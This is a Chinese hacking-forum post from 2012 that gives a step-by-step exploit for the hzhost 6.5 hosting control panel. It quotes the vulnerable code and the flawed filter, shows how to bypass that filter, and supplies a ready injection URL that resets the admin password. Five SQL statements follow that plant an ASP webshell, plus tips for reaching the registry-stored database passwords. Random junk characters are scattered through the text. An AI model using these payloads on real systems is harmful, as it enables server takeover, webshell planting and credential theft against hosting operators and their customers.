找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1891|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。4 ^$ ^5 l, r' G# A+ m+ w+ K- l2 L  c
只讲两个要点。
$ ^8 c8 d7 w" K5 c5 p4 ^第一,如何拿网站管理员权限。
9 g; b& n$ m: B# Z4 x4 Y 第二,如何备份木马。
( k9 w; x0 ^' \+ W+ d8 K6 N 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
6 c& D# z% z: G' T  X/ I+ |/ T" y 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
- O$ R% `2 t$ R) ~& w7 x' G- g: hhttP://www.xxbing.com QQ1787373153 D: Q- x5 z$ a' }. K
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。! C  S; f0 a: q9 p& Y1 W
------------开放浏览-------------1 c: M9 g# v9 }
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!- }; _9 F0 U+ ^7 x+ o+ i8 {
-------------------------13-15行----------------------------$ A& @6 T0 R& u5 L9 U% A1 Z
querytype=SafeRequest("querytype")  //saferequest函数接受数据
" [" y/ _6 a3 c8 {. ]( o if chk_int(querytype)=false then  //检查是否是整数
1 w6 J$ n& m& M! v" n    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
% o, O. K# O6 p/ e; G# Q, r -------------------------37-42行---------------------------
- O& Z+ _: M: }/ f elseif querytype=5 then //如果类型为5。就接受qu1数据!
" C- H" E7 K& S9 X# g7 {   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
  c; |. S% r" k0 `% A( d   6 o0 M9 J: |' H2 F# V& y# Z
    if  qu1="" then  //不能为空7 F  f& y! u- y! A& x6 E
         call errorpage(-2,"对不起,请选择参数!")
% n5 S" S+ G  k6 \1 D; v8 P# o. S: K   end if         6 m' c  y# i8 ?9 \, W8 o
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
) S  L# o* d+ t3 g7 R -------------------------62-65行---------------------------! w# z" U" Y( @  B9 R) ~- C
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据4 [. D* m% }, C$ C
if qu7<>"" then5 ]6 y( @7 _* s( w% I5 x* G
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
/ \( K/ J6 S- S- k- S2 E' f end if
, N3 f3 }4 v8 k) z7 _: [1 l --------------------------117行-----------------------------. ~4 {  j7 Z# a6 D( B+ D
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
% F' H) Z3 m: d( z. J //到这里就丢进去查询了!
1 ?, @5 z$ K  K3 Q$ p+ N: V: |2 l  `. o$ l  W( ^( _/ |  K2 {
来看看saferequest()函数。
3 |7 x! k; ]7 x& y' t; j  ~: p2 f------------------incs/config.asp中-------------------------5 ]" `" P& W% G" ?  _
Function SafeRequest(ParaName) % f" l; Y# p* e+ F
Dim ParaValue
. F+ w, A3 {; A6 f8 w' L+ q6 { ParaValue=Request(ParaName)  //获取数据- m  R8 R3 N. j5 k7 w/ K
if IsNumeric(ParaValue)  then  //如果是数字" H: V3 G: k+ v! ~% c  R
SafeRequest=ParaValue  //那就不过滤,直接赋值; C7 o: m9 x1 M1 @+ z
exit Function: d+ k1 Z  P# l" g0 \

1 X# N9 C) U" o8 F: l& V else
6 |4 D! s7 S9 T2 V! N ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写; l, D; h7 o$ L9 N& I/ l
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
, J6 B( s0 n0 h //定义要过滤的字符!1 U$ r6 h& Y9 {3 e1 W$ L$ q0 r

6 Y/ s8 z# X( w$ M& q) C 他过滤方式有问题。。。没有过滤 * / % / -- / ;
/ E. P+ d. x0 f 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。3 ]; s$ Z- {+ _9 e
5 H  m$ ~2 @0 Z6 L* c" Z
temps=split(tempvalue,"|")           //转为一维数组+ X7 @4 s; Q$ q  u/ R2 j0 n
for mycount=0 to ubound(temps)       //循环读数组内数据
! _7 p/ X2 o7 {* F  w8 W if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
/ I9 k& v/ I: n& @6 U  W                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!* a$ u0 `0 T) m5 A4 @9 c- r
                 response.end, r: {7 H  c7 e4 t# ^, `
end if
/ s& k, |. B4 Q4 i' O8 ] next2 p4 w/ n- U3 m1 L
SafeRequest=ParaValue* C% k# q# d  e# \2 y
end if
+ u: T) d- C3 T, T7 d& p# \5 e" D End function
# R" [' n* F. z -------------------------------------
+ ^7 E9 p: W( c% F! P
- M, e/ O; H1 a# [8 G5 Q 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
7 n1 @: }, o3 }, ^) H* f 先给出查询语句的框架。4 h. W# k( {  c1 Q
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
5 {: e3 K3 C9 W1 f' J3 Z( |# s
: `7 o5 }( n: x$ \5 `* N 为了使语句顺利执行:
9 @0 ]% J" K/ B* M# C 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。9 ~, S" P/ k' A6 @8 [, b
这里我给出条示范语句,即{我们的语句}
' S  k8 I3 E, a5 g0 b$ `: FUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
' r: O$ U0 M6 |0 i) Y
( l, h* c* W9 F这条语句能够绕过saferequest函数的检测。没有出现单引号。
/ G8 M8 A! W: Y. R6 _6 Q  v; { 我们提交:* n% M! p8 _  c7 T: Y+ n# X7 [
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1( J1 v2 s6 V4 z; @5 d5 Z% p2 t
" f5 I( m# Z  L  X2 Q* G
这句话就能够将admin的密码修改成123456+ ^+ I. p- x# M3 w! V* p. w
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。1 c  c  v0 g6 v+ R* ~# p8 o8 r
第二步是要备份挂马。4 Q, |! y7 c6 W% ?& J
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
6 c# b+ d" l2 w& m) p1 c  L 导致备马的这条语句失败。" _& d; R6 m# F# D( i
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
% E+ G3 p2 R, x: l8 d0 N" @
3 }, X5 Q/ N6 g  r% k 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
* K9 H0 Y# A. R1 a# }9 j 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
0 Q" V+ c. m# m 接下来放出详细语句。大家放入{我们的语句中}
3 y- Z5 M! F' S+ X5 w第 一 步:4 S# p" @' ?1 S* m- }
create table [dbo].[shit_tmp] ([cmd] [image])--0 ~* w6 w1 f% d2 @) K
第 二 步
$ J% N! J' N; P0 _  j* j; E declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--1 r" Q1 n$ o% @: L
第 三 步
0 R9 ~/ I: A0 u4 y" i) `) C insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--* ~1 ]1 B& x0 H4 I7 ~# R1 I
第 四 步4 L4 {( [. |% C$ z8 n% h" V' }
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--$ B# e7 O8 S8 `4 s8 i
第 五 步9 j( K% {4 q% ?2 T2 O- g
Drop table [shit_tmp]--
- }5 ^# _( t; F) C/ m& t' S1 O4 H3 L$ n5 e" T# a
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
4 n: F) e  F  `6 Y 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。/ ]" ^+ b! u3 z4 x9 f2 W; B
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》6 d1 G  }( v$ A  j, E
' T; y% [( x9 Z$ u/ S0 c, K: J
最后是答疑部分:5 y% \; s0 f6 M$ y7 [" ]1 \
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。  n' X4 Z3 s+ @4 L/ \2 r: g. w
) b6 t& N" j: u: V  w  V# A( e
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x650031003000610064006300330039003400390062006100350039006100620062006500350036006500300035003700660032003000660038003800330065007 I3 Z) g0 p2 F; n/ J6 @
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
0 q: D. `) P4 {3 A 0x6531306164633339343962613539616262653536653035376632306638383365
! Q  _7 z$ u5 N4 M) f 大家仔细观察,会发现,其实只是去掉了一些00。。
' B  V$ `6 U0 F* C5 E% { 所以大家在转换其他md5的时候,注意此问题。$ p8 N; _0 ?  c- t+ @$ j, n

$ w. O& o* Q$ b+ O 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
  V5 I7 h$ O: W0 H 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。# F& p! ~4 x% A3 i

2 q& Q) f; }2 Q& W  q" y& f: Z 4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。, K" \7 G% C6 ?8 _. {' k
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
3 v' _/ Y- x+ j5 N
* p4 G$ V8 w  w& s 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
/ C' W$ h# C/ G1 a7 j( _$ I, a# ]2 O1 X( p8 a' }" z  f. @$ L$ G$ k; }
6::
, R. p7 M( U& v6 H$ xsa密码。root密码。
  y2 g* a* R+ Q6 F; S2 X; I HKEY_LOCAL_MACHINE\software\hzhost\config\settings\' \9 i) K3 v5 q- v! Z
mysqlpass---root密码
. B" R1 S! j) K+ o% x mssqlpss----sa密码
5 m5 }6 x, p& ?2 S7 j  d! ^' P) J3 G& Q3 [) S" L+ n

+ }" v( G; D; J  _7 S 7.如果路径不在D:/hzhost" S1 B3 b8 {: n) E9 i4 h
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。$ u$ x; L8 |7 R" X
或者去读注册表。
3 P9 m4 {/ v  a. _* `$ C HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下  A% x- t0 R: S4 Q5 F( g
"wwwrootpath"="e:\\wwwroot"
& q& L1 P6 Q+ ^7 U$ w+ f "urlsiteroot"="D:\\hzhost\\hzhost_url"7 \& o# I- b( N3 ~: V6 v3 d
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
& {9 D+ ^1 G- d  A/ m* p% u 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!8 X1 I- h, |* N2 \% k
0 C! @2 F( S' _' }$ R1 H
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)/ {& ?3 k% p$ P0 C' J) o
hzhost最新漏洞.rar8 V, {+ `% D" A; Z- u8 ?( [% X
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!5 B2 ~: I; |" C3 W5 S

  L& `* z% v# I 最后,还是版权。
. f+ l/ b% u" [3 M' h! B" Nhttp://www.xxbing.com QQ178737315
) v" Y1 O+ g5 `2 v 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表